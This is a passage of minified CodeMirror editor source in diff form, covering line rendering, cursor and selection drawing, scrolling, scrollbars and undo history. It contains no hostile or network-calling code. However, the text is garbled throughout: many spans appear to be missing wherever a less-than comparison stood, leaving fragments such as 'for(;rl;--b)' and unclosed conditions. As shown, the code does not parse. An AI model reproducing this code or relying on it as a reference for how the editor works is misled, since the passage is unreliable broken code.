+f),h);if(f){var g=f[0].name;g&&(k="m-"+(k?g+" "+k:g))}if(!n||G!=k){for(;rl;--b){if(b<=h.first)return h.first;var n=A(h,b-1),r=n.stateAfter;if(r&&(!c||b+(r instanceof ed?r.lookAhead:0)<=h.modeFrontier))return b;n=k(n.text,null,a.options.tabSize);if(null==e||d>n)e=b-1,d=n}return e}function Id(a,b){a.modeFrontier=
+Math.min(a.modeFrontier,b);if(!(a.highlightFrontierc;d--){var e=A(a,d).stateAfter;if(e&&(!(e instanceof ed)||d+e.lookAheadn.right-r.right:!1}l&&(h=Na(e,a.doc.direction))&&(c.addToken=rg(c.addToken,h));c.map=[];var G=b!=a.display.externalMeasured&&T(e);a:{var m=n=
+r=l=void 0,f=void 0,k=void 0,g=void 0;h=c;G=ub(a,e,G);var p=e.markedSpans,x=e.text,q=0;if(p)for(var S=x.length,N=0,F=1,y="",v=0;;){if(v==N){f=m=n=r=k="";l=null;v=Infinity;for(var Q=[],t=void 0,z=0;z N||Y.collapsed&&A.to==N&&A.from==N)?(null!=A.to&&A.to!=N&&v>A.to&&(v=A.to,m=""),Y.className&&(f+=" "+Y.className),Y.css&&(k=(k?k+";":"")+Y.css),Y.startStyle&&A.from==N&&(n+=" "+Y.startStyle),
+Y.endStyle&&A.to==v&&(t||(t=[])).push(Y.endStyle,A.to),Y.title&&!r&&(r=Y.title),Y.collapsed&&(!l||0>E(l.marker,Y))&&(l=A)):A.from>N&&v>A.from&&(v=A.from)}if(t)for(z=0;z=S)break;for(Q=Math.min(S,v);;){if(y){t=N+y.length;l||(z=t>Q?y.slice(0,Q-N):y,h.addToken(h,z,g?g+f:f,n,N+z.length==v?m:"",
+r,k));if(t>=Q){y=y.slice(Q-N);N=Q;break}N=t;n=""}y=x.slice(q,q=G[F++]);g=B(G[F++],h.cm.options)}}else for(l=1;lfa?n.appendChild(t("span",[u])):n.appendChild(u);a.map.push(a.pos,
+a.pos+g,u);a.col+=g;a.pos+=g}if(!k)break;f+=g+1;"\t"==k[0]?(k=a.cm.options.tabSize,k-=a.col%k,g=n.appendChild(t("span",F(k),"cm-tab")),g.setAttribute("role","presentation"),g.setAttribute("cm-text","\t"),a.col+=k):("\r"==k[0]||"\n"==k[0]?(g=n.appendChild(t("span","\r"==k[0]?"\u240d":"\u2424","cm-invalidchar")),g.setAttribute("cm-text",k[0])):(g=a.cm.options.specialCharPlaceholder(k[0]),g.setAttribute("cm-text",k[0]),R&&9>fa?n.appendChild(t("span",[g])):n.appendChild(g)),a.col+=1);a.map.push(a.pos,
+a.pos+1,g);a.pos++}}else a.col+=b.length,n=document.createTextNode(r),a.map.push(a.pos,a.pos+b.length,n),R&&9>fa&&(m=!0),a.pos+=b.length;a.trailingSpace=32==r.charCodeAt(b.length-1);if(c||d||e||m||l)return b=c||"",d&&(b+=d),e&&(b+=e),d=t("span",[n],b,l),h&&(d.title=h),a.content.appendChild(d);a.content.appendChild(n)}}function rg(a,b){return function(c,d,e,h,l,n,r){e=e?e+" cm-force-border":"cm-force-border";for(var G=c.pos,m=G+d.length;;){for(var f=void 0,k=0;kG&&f.from<=
+G);k++);if(f.to>=m)return a(c,d,e,h,l,n,r);a(c,d.slice(0,f.to-G),e,h,null,n,r);h=null;d=d.slice(f.to-G);G=f.to}}}function ye(a,b,c,d){var e=!d&&c.widgetNode;e&&a.map.push(a.pos,a.pos+b,e);!d&&a.cm.display.input.needsContentAttribute&&(e||(e=a.content.appendChild(document.createElement("span"))),e.setAttribute("cm-marker",c.id));e&&(a.cm.display.input.setUneditable(e),a.content.appendChild(e));a.pos+=b;a.trailingSpace=!1}function ze(a,b,c){for(var d=this.line=b,e;d=Wa(d,!1);)d=d.find(1,!0).line,(e||
+(e=[])).push(d);this.size=(this.rest=e)?T(g(this.rest))-c+1:1;this.node=this.text=null;this.hidden=Ea(a,b)}function gd(a,b,c){var d=[],e;for(e=b;efa&&(a.node.style.zIndex=2));return a.node}function Be(a,b){var c=a.display.externalMeasured;return c&&c.line==b.line?(a.display.externalMeasured=null,b.measure=c.measure,c.built):fd(a,b)}function Kd(a,b){var c=b.bgClass?b.bgClass+" "+(b.line.bgClass||""):b.line.bgClass;c&&(c+=" CodeMirror-linebackground");if(b.background)c?b.background.className=
+c:(b.background.parentNode.removeChild(b.background),b.background=null);else if(c){var d=sc(b);b.background=d.insertBefore(t("div",null,c),d.firstChild);a.display.input.setUneditable(b.background)}b.line.wrapClass?sc(b).className=b.line.wrapClass:b.node!=b.text&&(b.node.className="");b.text.className=(b.textClass?b.textClass+" "+(b.line.textClass||""):b.line.textClass)||""}function Ce(a,b,c,d){b.gutter&&(b.node.removeChild(b.gutter),b.gutter=null);b.gutterBackground&&(b.node.removeChild(b.gutterBackground),
+b.gutterBackground=null);if(b.line.gutterClass){var e=sc(b);b.gutterBackground=t("div",null,"CodeMirror-gutter-background "+b.line.gutterClass,"left: "+(a.options.fixedGutter?d.fixedPos:-d.gutterTotalWidth)+"px; width: "+d.gutterTotalWidth+"px");a.display.input.setUneditable(b.gutterBackground);e.insertBefore(b.gutterBackground,b.text)}e=b.line.gutterMarkers;if(a.options.lineNumbers||e){var h=sc(b),l=b.gutter=t("div",null,"CodeMirror-gutter-wrapper","left: "+(a.options.fixedGutter?d.fixedPos:-d.gutterTotalWidth)+
+"px");a.display.input.setUneditable(l);h.insertBefore(l,b.text);b.line.gutterClass&&(l.className+=" "+b.line.gutterClass);!a.options.lineNumbers||e&&e["CodeMirror-linenumbers"]||(b.lineNumber=l.appendChild(t("div",hc(a.options,c),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+d.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+a.display.lineNumInnerWidth+"px")));if(e)for(b=0;bc)return{map:a.measure.maps[b],cache:a.measure.caches[b],before:!0}}function Nd(a,b){if(b>=a.display.viewFrom&&b=c.lineN&&bg;g++){for(;n&&ea(b.line.text.charAt(l.coverStart+n));)--n;for(;l.coverStart+
+rfa&&0==n&&r==l.coverEnd-l.coverStart)var u=d.parentNode.getBoundingClientRect();else{u=qc(d,n,r).getClientRects();r=Ie;if("left"==f)for(m=0;mfa&&((g=!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI)||(null!=Pd?g=Pd:(f=C(a.display.measure,t("span","x")),
+g=f.getBoundingClientRect(),f=qc(f,0,1).getBoundingClientRect(),g=Pd=1fa)||n||u&&(u.left||u.right)||(u=(u=d.parentNode.getClientRects()[0])?{left:u.left,right:u.left+uc(a.display),
+top:u.top,bottom:u.bottom}:Ie);d=u.top-b.rect.top;n=u.bottom-b.rect.top;g=(d+n)/2;f=b.view.measure.heights;for(l=0;lb)h=r-n,e=h-1,b>=r&&(l="right");if(null!=e){d=a[m+2];n==r&&c==(d.insertLeft?"left":"right")&&(l=c);if("left"==c&&0==e)for(;m&&a[m-2]==a[m-3]&&a[m-1].insertLeft;)d=a[(m-=3)+2],l="left";if("right"==c&&e==r-n)for(;m=d.text.length?(m=d.text.length,b="before"):0>=m&&(m=0,b="after");if(!r)return l("before"==b?m-1:m,"before"==b);var f=Xa(r,m,b),k=lc;f=n(m,f,"before"==
+b);null!=k&&(f.other=n(m,k,"before"!=b));return f}function Oe(a,b){var c=0;b=M(a.doc,b);a.options.lineWrapping||(c=uc(a.display)*b.ch);var d=A(a.doc,b.line),e=Ia(d)+a.display.lineSpace.offsetTop;return{left:c,right:c,top:e,bottom:e+d.height}}function Sd(a,b,c,d,e){a=z(a,b,c);a.xRel=e;d&&(a.outside=!0);return a}function Td(a,b,c){var d=a.doc;c+=a.display.viewOffset;if(0>c)return Sd(d.first,0,null,!0,-1);var e=bb(d,c),h=d.first+d.size-1;if(e>h)return Sd(d.first+d.size-1,A(d,h).text.length,null,!0,1);
+0>b&&(b=0);for(d=A(d,e);;)if(e=vg(a,d,e,b,c),h=(d=Wa(d,!1))&&d.find(0,!0),d&&(e.ch>h.from.ch||e.ch==h.from.ch&&0d},e,b);return{begin:e,end:b}}function Qe(a,b,c,d){c||(c=xb(a,b));d=jd(a,b,Ra(a,c,d),"line").top;return Pe(a,b,c,d)}function Ud(a,b,c,d){return a.bottom<=c?!1:a.top>c?!0:(d?a.left:a.right)>b}function vg(a,b,c,
+d,e){e-=Ia(b);var h=xb(a,b),l=Qd(b),n=0,r=b.text.length,m=!0,f=Na(b,a.doc.direction);f&&(f=(a.options.lineWrapping?wg:xg)(a,b,c,h,f,d,e),n=(m=1!=f.level)?f.from:f.to-1,r=m?f.to:f.from-1);var k=null,g=null;f=ma(function(b){var c=Ra(a,h,b);c.top+=l;c.bottom+=l;if(!Ud(c,d,e,!1))return!1;c.top<=e&&c.left<=d&&(k=b,g=c);return!0},n,r);var u=!1;g?(n=d-g.left=u.bottom);f=ab(b.text,f,1);return Sd(c,f,m,u,d-n)}function xg(a,b,c,d,e,h,l){var n=ma(function(n){n=e[n];var r=1!=n.level;return Ud(Sa(a,z(c,r?n.to:n.from,r?"before":"after"),"line",b,d),h,l,!0)},0,e.length-1),r=e[n];if(0l&&(r=e[n-1])}return r}function wg(a,b,c,d,e,h,l){l=Pe(a,b,d,l);c=l.begin;l=l.end;/\s/.test(b.text.charAt(l-
+1))&&l--;for(var n=b=null,r=0;r=l||m.to<=c)){var f=Ra(a,d,1!=m.level?Math.min(l,m.to)-1:Math.max(c,m.from)).right;f=ff)b=m,n=f}}b||(b=e[e.length-1]);b.froml&&(b={from:b.from,to:l,level:b.level});return b}function yb(a){if(null!=a.cachedTextHeight)return a.cachedTextHeight;if(null==zb){zb=t("pre");for(var b=0;49>b;++b)zb.appendChild(document.createTextNode("x")),zb.appendChild(t("br"));zb.appendChild(document.createTextNode("x"))}C(a.measure,
+zb);b=zb.offsetHeight/50;3=a.display.viewTo)return null;b-=a.display.viewFrom;if(0>b)return null;for(var c=a.display.view,d=0;db)return d}function wc(a){a.display.input.showSelection(a.display.input.prepareSelection())}function Se(a,b){void 0===b&&(b=!0);for(var c=a.doc,d={},e=d.cursors=document.createDocumentFragment(),h=d.selection=document.createDocumentFragment(),l=0;l=a.display.viewTo||n.to().lineb&&(b=0);b=Math.round(b);c=Math.round(c);n.appendChild(t("div",null,"CodeMirror-selected","position: absolute; left: "+a+"px;\n top: "+b+"px; width: "+(null==d?f-a:d)+"px;\n height: "+(c-b)+"px"))}function e(b,c,e){function h(d,
+c){return Rd(a,z(b,d),"div",r,c)}function n(b,d,c){b=Qe(a,r,null,b);d="ltr"==d==("after"==c)?"left":"right";c="after"==c?b.begin:b.end-(/\s/.test(r.text.charAt(b.end-1))?2:1);return h(c,d)[d]}var r=A(l,b),g=r.text.length,G,u,p=Na(r,l.direction);Ed(p,c||0,null==e?g:e,function(a,b,l,r){var ba="ltr"==l,E=h(a,ba?"left":"right"),x=h(b-1,ba?"right":"left"),N=null==c&&0==a,q=null==e&&b==g,Dd=0==r;r=!p||r==p.length-1;3>=x.top-E.top?(b=(k?N:q)&&Dd?m:(ba?E:x).left,d(b,E.top,((k?q:N)&&r?f:(ba?x:E).right)-b,
+E.bottom)):(ba?(ba=k&&N&&Dd?m:E.left,N=k?f:n(a,l,"before"),a=k?m:n(b,l,"after"),q=k&&q&&r?f:x.right):(ba=k?n(a,l,"before"):m,N=!k&&N&&Dd?f:E.right,a=!k&&q&&r?m:x.left,q=k?n(b,l,"after"):f),d(ba,E.top,N-ba,E.bottom),E.bottomkd(E,G))G=E;0>kd(x,G)&&(G=x);if(!u||0>kd(E,u))u=E;0>kd(x,u)&&(u=x)});return{start:G,end:u}}var h=a.display,l=a.doc,n=document.createDocumentFragment(),r=Fe(a.display),m=r.left,f=Math.max(h.sizerWidth,vb(a)-h.sizer.offsetLeft)-
+r.right,k="ltr"==l.direction;h=b.from();b=b.to();if(h.line==b.line)e(h.line,h.ch,b.ch);else{var g=A(l,h.line);r=A(l,b.line);r=Da(g)==Da(r);h=e(h.line,h.ch,r?g.text.length+1:null).end;b=e(b.line,r?0:null,b.ch).start;r&&(h.topa.options.cursorBlinkRate&&(b.cursorDiv.style.visibility="hidden")}}function Ue(a){a.state.focused||(a.display.input.focus(),Yd(a))}function Ve(a){a.state.delayingBlurEvent=!0;setTimeout(function(){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1,xc(a))},100)}function Yd(a,b){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1);"nocursor"!=
+a.options.readOnly&&(a.state.focused||(ca(a,"focus",a,b),a.state.focused=!0,J(a.display.wrapper,"CodeMirror-focused"),a.curOp||a.display.selForContextMenu==a.doc.sel||(a.display.input.reset(),va&&setTimeout(function(){return a.display.input.reset(!0)},20)),a.display.input.receivedFocus()),Xd(a))}function xc(a,b){a.state.delayingBlurEvent||(a.state.focused&&(ca(a,"blur",a,b),a.state.focused=!1,Bb(a.display.wrapper,"CodeMirror-focused")),clearInterval(a.display.blinker),setTimeout(function(){a.state.focused||
+(a.display.shift=!1)},150))}function ld(a){a=a.display;for(var b=a.lineDiv.offsetTop,c=0;cfa){var e=d.node.offsetTop+d.node.offsetHeight;var h=e-b;b=e}else h=d.node.getBoundingClientRect(),h=h.bottom-h.top;e=d.line.height-h;2>h&&(h=yb(a));if(.005e)if(Y(d.line,h),We(d.line),d.rest)for(h=0;h=e&&(d=bb(b,Ia(A(b,c))-a.wrapper.clientHeight),e=c)}return{from:d,to:Math.max(e,d+1)}}function Xe(a){var b=a.display,c=b.view;if(b.alignWidgets||b.gutters.firstChild&&
+a.options.fixedGutter){for(var d=Vd(b)-b.scroller.scrollLeft+a.doc.scrollLeft,e=b.gutters.offsetWidth,h=d+"px",l=0;lb.top&&(b.top=0);var e=a.curOp&&null!=
+a.curOp.scrollTop?a.curOp.scrollTop:c.scroller.scrollTop,h=Md(a),l={};b.bottom-b.top>h&&(b.bottom=b.top+h);var n=a.doc.height+Ld(c),r=b.topn-d;b.tope+h&&(h=Math.min(b.top,(d?n:b.bottom)-h),h!=e&&(l.scrollTop=h));e=a.curOp&&null!=a.curOp.scrollLeft?a.curOp.scrollLeft:c.scroller.scrollLeft;c=vb(a)-(a.options.fixedGutter?c.gutters.offsetWidth:0);if(h=b.right-b.left>c)b.right=b.left+c;10>b.left?l.scrollLeft=0:b.leftc+e-3&&(l.scrollLeft=b.right+(h?0:10)-c);return l}function md(a,b){null!=b&&(nd(a),a.curOp.scrollTop=(null==a.curOp.scrollTop?a.doc.scrollTop:a.curOp.scrollTop)+b)}function Vb(a){nd(a);var b=a.getCursor();a.curOp.scrollToPos={from:b,to:b,margin:a.options.cursorScrollMargin}}function yc(a,b,c){null==b&&null==c||nd(a);null!=b&&(a.curOp.scrollLeft=b);null!=c&&(a.curOp.scrollTop=c)}function nd(a){var b=a.curOp.scrollToPos;if(b){a.curOp.scrollToPos=null;var c=Oe(a,b.from),d=Oe(a,b.to);Ze(a,
+c,d,b.margin)}}function Ze(a,b,c,d){b=ae(a,{left:Math.min(b.left,c.left),top:Math.min(b.top,c.top)-d,right:Math.max(b.right,c.right),bottom:Math.max(b.bottom,c.bottom)+d});yc(a,b.scrollLeft,b.scrollTop)}function zc(a,b){2>Math.abs(a.doc.scrollTop-b)||(hb||be(a,{top:b}),$e(a,b,!0),hb&&be(a),Ac(a,100))}function $e(a,b,c){b=Math.min(a.display.scroller.scrollHeight-a.display.scroller.clientHeight,b);if(a.display.scroller.scrollTop!=b||c)a.doc.scrollTop=b,a.display.scrollbars.setScrollTop(b),a.display.scroller.scrollTop!=
+b&&(a.display.scroller.scrollTop=b)}function Cb(a,b,c,d){b=Math.min(b,a.display.scroller.scrollWidth-a.display.scroller.clientWidth);(c?b==a.doc.scrollLeft:2>Math.abs(a.doc.scrollLeft-b))&&!d||(a.doc.scrollLeft=b,Xe(a),a.display.scroller.scrollLeft!=b&&(a.display.scroller.scrollLeft=b),a.display.scrollbars.setScrollLeft(b))}function Bc(a){var b=a.display,c=b.gutters.offsetWidth,d=Math.round(a.doc.height+Ld(a.display));return{clientHeight:b.scroller.clientHeight,viewHeight:b.wrapper.clientHeight,scrollWidth:b.scroller.scrollWidth,
+clientWidth:b.scroller.clientWidth,viewWidth:b.wrapper.clientWidth,barLeft:a.options.fixedGutter?c:0,docHeight:d,scrollHeight:d+Za(a)+b.barHeight,nativeBarWidth:b.nativeBarWidth,gutterWidth:c}}function Wb(a,b){b||(b=Bc(a));var c=a.display.barWidth,d=a.display.barHeight;af(a,b);for(var e=0;4>e&&c!=a.display.barWidth||d!=a.display.barHeight;e++)c!=a.display.barWidth&&a.options.lineWrapping&&ld(a),af(a,Bc(a)),c=a.display.barWidth,d=a.display.barHeight}function af(a,b){var c=a.display,d=c.scrollbars.update(b);
+c.sizer.style.paddingRight=(c.barWidth=d.right)+"px";c.sizer.style.paddingBottom=(c.barHeight=d.bottom)+"px";c.heightForcer.style.borderBottom=d.bottom+"px solid transparent";d.right&&d.bottom?(c.scrollbarFiller.style.display="block",c.scrollbarFiller.style.height=d.bottom+"px",c.scrollbarFiller.style.width=d.right+"px"):c.scrollbarFiller.style.display="";d.bottom&&a.options.coverGutterNextToScrollbar&&a.options.fixedGutter?(c.gutterFiller.style.display="block",c.gutterFiller.style.height=d.bottom+
+"px",c.gutterFiller.style.width=b.gutterWidth+"px"):c.gutterFiller.style.display=""}function bf(a){a.display.scrollbars&&(a.display.scrollbars.clear(),a.display.scrollbars.addClass&&Bb(a.display.wrapper,a.display.scrollbars.addClass));a.display.scrollbars=new cf[a.options.scrollbarStyle](function(b){a.display.wrapper.insertBefore(b,a.display.scrollbarFiller);L(b,"mousedown",function(){a.state.focused&&setTimeout(function(){return a.display.input.focus()},0)});b.setAttribute("cm-not-content","true")},
+function(b,c){"horizontal"==c?Cb(a,b):zc(a,b)},a);a.display.scrollbars.addClass&&J(a.display.wrapper,a.display.scrollbars.addClass)}function Db(a){a.curOp={cm:a,viewChanged:!1,startHeight:a.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++zg};a=a.curOp;Ub?Ub.ops.push(a):a.ownsGroup=Ub={ops:[a],delayedCallbacks:[]}}function Eb(a){sg(a.curOp,
+function(a){for(var b=0;b=h.viewTo)||h.maxLineChanged&&e.options.lineWrapping;d.update=d.mustUpdate&&new od(e,d.mustUpdate&&{top:d.scrollTop,ensure:d.scrollToPos},d.forceUpdate)}for(b=0;bk;k++){var g=!1;n=Sa(e,r);var u=m&&m!=r?Sa(e,m):n;n={left:Math.min(n.left,
+u.left),top:Math.min(n.top,u.top)-f,right:Math.max(n.left,u.left),bottom:Math.max(n.bottom,u.bottom)+f};u=ae(e,n);var p=e.doc.scrollTop,E=e.doc.scrollLeft;null!=u.scrollTop&&(zc(e,u.scrollTop),1m.top+k.top?r=!0:m.bottom+k.top>(window.innerHeight||document.documentElement.clientHeight)&&
+(r=!1),null==r||Ag||(m=t("div","\u200b",null,"position: absolute;\n top: "+(m.top-f.viewOffset-e.display.lineSpace.offsetTop)+"px;\n height: "+(m.bottom-m.top+Za(e)+f.barHeight)+"px;\n left: "+m.left+"px; width: "+Math.max(2,m.right-m.left)+"px;"),e.display.lineSpace.appendChild(m),m.scrollIntoView(r),e.display.lineSpace.removeChild(m)))}m=d.maybeHiddenMarkers;r=d.maybeUnhiddenMarkers;if(m)for(f=0;fb)&&(e.updateLineNumbers=b);a.curOp.viewChanged=!0;if(b>=e.viewTo)ib&&Aa(a.doc,b)e.viewFrom?lb(a):(e.viewFrom+=d,e.viewTo+=d);else if(b<=e.viewFrom&&c>=e.viewTo)lb(a);else if(b<=e.viewFrom){var h=pd(a,c,c+d,1);h?(e.view=e.view.slice(h.index),e.viewFrom=h.lineN,e.viewTo+=d):lb(a)}else if(c>=e.viewTo)(h=pd(a,b,b,-1))?(e.view=e.view.slice(0,h.index),e.viewTo=h.lineN):lb(a);else{h=pd(a,b,b,-1);var l=pd(a,c,c+d,1);h&&l?(e.view=e.view.slice(0,h.index).concat(gd(a,h.lineN,l.lineN)).concat(e.view.slice(l.index)),e.viewTo+=d):lb(a)}if(a=e.externalMeasured)c=e.lineN&&b=d.viewTo||(a=d.view[wb(a,b)],null!=a.node&&(a=a.changes||(a.changes=[]),-1==H(a,c)&&a.push(c)))}function lb(a){a.display.viewFrom=a.display.viewTo=a.doc.first;a.display.view=[];a.display.viewOffset=0}function pd(a,b,c,d){var e=wb(a,b),h=a.display.view;if(!ib||c==a.doc.first+a.doc.size)return{index:e,
+lineN:c};for(var l=a.display.viewFrom,n=0;nd?0:h.length-1))return null;c+=d*h[e-(0>d?1:0)].size;e+=d}return{index:e,lineN:c}}function ef(a){a=a.display.view;for(var b=0,c=0;c=
+a.display.viewTo)){var c=+new Date+a.options.workTime,d=Ja(a,b.highlightFrontier),e=[];b.iter(d.line,Math.min(b.first+b.size,a.display.viewTo+500),function(h){if(d.line>=a.display.viewFrom){var l=h.styles,n=h.text.length>a.options.maxHighlightLength?db(b.mode,d.state):null,r=oc(a,h,d,!0);n&&(d.state=n);h.styles=r.styles;n=h.styleClasses;(r=r.classes)?h.styleClasses=r:n&&(h.styleClasses=null);r=!l||l.length!=h.styles.length||n!=r&&(!n||!r||n.bgClass!=r.bgClass||n.textClass!=r.textClass);for(n=0;!r&&
+nc)return Ac(a,a.options.workDelay),!0});b.highlightFrontier=d.line;b.modeFrontier=Math.max(b.modeFrontier,d.line);e.length&&Ga(a,function(){for(var b=0;b=c.viewFrom&&
+b.visible.to<=c.viewTo&&(null==c.updateLineNumbers||c.updateLineNumbers>=c.viewTo)&&c.renderedView==c.view&&0==ef(a))return!1;Ye(a)&&(lb(a),b.dims=Od(a));var e=d.first+d.size,h=Math.max(b.visible.from-a.options.viewportMargin,d.first),l=Math.min(e,b.visible.to+a.options.viewportMargin);c.viewFromh-c.viewFrom&&(h=Math.max(d.first,c.viewFrom));c.viewTo>l&&20>c.viewTo-l&&(l=Math.min(e,c.viewTo));ib&&(h=Aa(a.doc,h),l=Zc(a.doc,l));d=h!=c.viewFrom||l!=c.viewTo||c.lastWrapHeight!=b.wrapperHeight||
+c.lastWrapWidth!=b.wrapperWidth;e=a.display;0==e.view.length||h>=e.viewTo||l<=e.viewFrom?(e.view=gd(a,h,l),e.viewFrom=h):(e.viewFrom>h?e.view=gd(a,h,e.viewFrom).concat(e.view):e.viewFroml&&(e.view=e.view.slice(0,wb(a,l))));e.viewTo=l;c.viewOffset=Ia(A(a.doc,c.viewFrom));a.display.mover.style.top=c.viewOffset+"px";l=ef(a);if(!d&&0==l&&!b.force&&c.renderedView==c.view&&(null==c.updateLineNumbers||
+c.updateLineNumbers>=c.viewTo))return!1;a.hasFocus()?h=null:(h=D())&&v(a.display.lineDiv,h)?(h={activeElt:h},window.getSelection&&(e=window.getSelection(),e.anchorNode&&e.extend&&v(a.display.lineDiv,e.anchorNode)&&(h.anchorNode=e.anchorNode,h.anchorOffset=e.anchorOffset,h.focusNode=e.focusNode,h.focusOffset=e.focusOffset))):h=null;4=a.display.viewFrom&&b.visible.to<=a.display.viewTo)break;if(!ce(a,b))break;ld(a);d=Bc(a);wc(a);Wb(a,d);de(a,d);b.force=!1}b.signal(a,"update",a);if(a.display.viewFrom!=a.display.reportedViewFrom||a.display.viewTo!=a.display.reportedViewTo)b.signal(a,"viewportChange",a,a.display.viewFrom,a.display.viewTo),a.display.reportedViewFrom=
+a.display.viewFrom,a.display.reportedViewTo=a.display.viewTo}function be(a,b){var c=new od(a,b);if(ce(a,c)){ld(a);df(a,c);var d=Bc(a);wc(a);Wb(a,d);de(a,d);c.finish()}}function Cg(a,b,c){function d(b){var d=b.nextSibling;va&&Qa&&a.display.currentWheelTarget==b?b.style.display="none":b.parentNode.removeChild(b);return d}var e=a.display,h=a.options.lineNumbers,l=e.lineDiv,n=l.firstChild,r=e.view;e=e.viewFrom;for(var m=0;mh.clientWidth,n=h.scrollHeight>h.clientHeight;if(d&&l||c&&n){if(c&&Qa&&va){l=b.target;var r=e.view;a:for(;l!=h;l=l.parentNode)for(var m=
+0;mn?l=Math.max(0,l+n-50):r=Math.min(a.doc.height,r+n+50),be(a,{top:l,bottom:r})),20>qd&&(null==e.wheelStartX?(e.wheelStartX=h.scrollLeft,e.wheelStartY=h.scrollTop,e.wheelDX=d,e.wheelDY=c,setTimeout(function(){if(null!=e.wheelStartX){var a=h.scrollLeft-e.wheelStartX,b=h.scrollTop-e.wheelStartY;a=b&&e.wheelDY&&b/e.wheelDY||a&&e.wheelDX&&a/
+e.wheelDX;e.wheelStartX=e.wheelStartY=null;a&&(Ka=(Ka*qd+a)/(qd+1),++qd)}},200)):(e.wheelDX+=d,e.wheelDY+=c))):(c&&n&&zc(a,Math.max(0,h.scrollTop+c*Ka)),Cb(a,Math.max(0,h.scrollLeft+d*Ka)),(!c||c&&n)&&qa(b),e.wheelStartX=null)}}function Ua(a,b){var c=a[b];a.sort(function(a,b){return K(a.from(),b.from())});b=H(a,c);for(c=1;cK(a,b.from))return a;if(0>=K(a,b.to))return nb(b);var c=a.line+b.text.length-(b.to.line-b.from.line)-1,d=a.ch;a.line==b.to.line&&(d+=nb(b).ch-b.to.ch);return z(c,d)}function fe(a,b){for(var c=[],d=0;dh-a.cm.options.historyEventDelay||"*"==b.origin.charAt(0))){if(e.lastOp==d){pf(e.done);var n=g(e.done)}else e.done.length&&!g(e.done).ranges?n=g(e.done):1e.undoDepth;)e.done.shift(),e.done[0].ranges||e.done.shift();e.done.push(c);e.generation=++e.maxGeneration;e.lastModTime=e.lastSelTime=h;e.lastOp=e.lastSelOp=d;e.lastOrigin=e.lastSelOrigin=b.origin;r||ca(a,"historyAdded")}function sd(a,b){var c=g(b);c&&c.ranges&&c.equals(a)||b.push(a)}function of(a,b,c,d){var e=b["spans_"+a.id],h=0;a.iter(Math.max(a.first,c),Math.min(a.first+a.size,d),function(d){d.markedSpans&&((e||(e=b["spans_"+a.id]={}))[h]=d.markedSpans);++h})}function Fg(a){if(!a)return null;
+for(var b,c=0;cK(b,a),d!=0>K(c,a)?(a=b,b=c):d!=0>K(b,c)&&(b=c)),new V(a,b)):new V(c||b,b)}function td(a,b,c,d,e){null==e&&(e=a.cm&&(a.cm.display.shift||
+a.extend));ua(a,new La([je(a.sel.primary(),b,c,e)],0),d)}function sf(a,b,c){for(var d=[],e=a.cm&&(a.cm.display.shift||a.extend),h=0;hK(b.primary().head,a.sel.primary().head)?-1:1);uf(a,vf(a,b,d,!0));c&&!1===c.scroll||!a.cm||Vb(a.cm)}function uf(a,b){b.equals(a.sel)||(a.sel=b,a.cm&&
+(a.cm.curOp.updateInput=a.cm.curOp.selectionChanged=!0,mc(a.cm)),ta(a,"cursorActivity",a))}function wf(a){uf(a,vf(a,a.sel,null,!1))}function vf(a,b,c,d){for(var e,h=0;h=b.ch:n.to>b.ch))){if(e&&(ca(r,"beforeCursorEnter"),r.explicitlyCleared))if(h.markedSpans){--l;continue}else break;if(r.atomic){if(c){l=r.find(0>d?1:-1);n=void 0;if(0>d?r.inclusiveRight:r.inclusiveLeft)l=xf(a,l,-d,l&&l.line==b.line?h:null);if(l&&l.line==b.line&&(n=K(l,c))&&(0>d?0>n:0d?-1:1);if(0>d?r.inclusiveLeft:r.inclusiveRight)c=xf(a,
+c,d,c.line==b.line?h:null);return c?Zb(a,c,b,d,e):null}}}return b}function le(a,b,c,d,e){d=d||1;b=Zb(a,b,c,d,e)||!e&&Zb(a,b,c,d,!0)||Zb(a,b,c,-d,e)||!e&&Zb(a,b,c,-d,!0);return b?b:(a.cantEdit=!0,z(a.first,0))}function xf(a,b,c,d){return 0>c&&0==b.ch?b.line>a.first?M(a,z(b.line-1)):null:0a.lastLine())){if(b.from.linee&&(b={from:b.from,to:z(e,A(a,e).text.length),text:[b.text[0]],origin:b.origin});b.removed=S(a,b.from,b.to);c||
+(c=fe(a,b));a.cm?Hg(a.cm,b,d):he(a,b,d);ud(a,c,$a)}}function Hg(a,b,c){var d=a.doc,e=a.display,h=b.from,l=b.to,n=!1,r=h.line;a.options.lineWrapping||(r=T(Da(A(d,h.line))),d.iter(r,l.line+1,function(a){if(a==e.maxLine)return n=!0}));-1e.maxLineLength&&(e.maxLine=a,e.maxLineLength=b,e.maxLineChanged=!0,n=!1)}),n&&(a.curOp.updateMaxLine=!0));Id(d,h.line);Ac(a,400);c=b.text.length-
+(l.line-h.line)-1;b.full?Ba(a):h.line!=l.line||1!=b.text.length||lf(a.doc,b)?Ba(a,h.line,l.line+1,c):mb(a,h.line,"text");c=wa(a,"changes");if((d=wa(a,"change"))||c)b={from:h,to:l,text:b.text,removed:b.removed,origin:b.origin},d&&ta(a,"change",a,b),c&&(a.curOp.changeObjs||(a.curOp.changeObjs=[])).push(b);a.display.selForContextMenu=null}function ac(a,b,c,d,e){d||(d=c);if(0>K(d,c)){var h=[d,c];c=h[0];d=h[1];h}"string"==typeof b&&(b=a.splitLines(b));$b(a,{from:c,to:d,text:b,origin:e})}function Ef(a,
+b,c,d){c=K(h.from,g(d).to);){var l=d.pop();if(0>K(l.from,h.from)){h.from=l.from;break}}d.push(h)}Ga(a,function(){for(var b=d.length-1;0<=b;b--)ac(a.doc,"",d[b].from,d[b].to,"+delete");Vb(a)})}function me(a,b,c){b=ab(a.text,b+c,
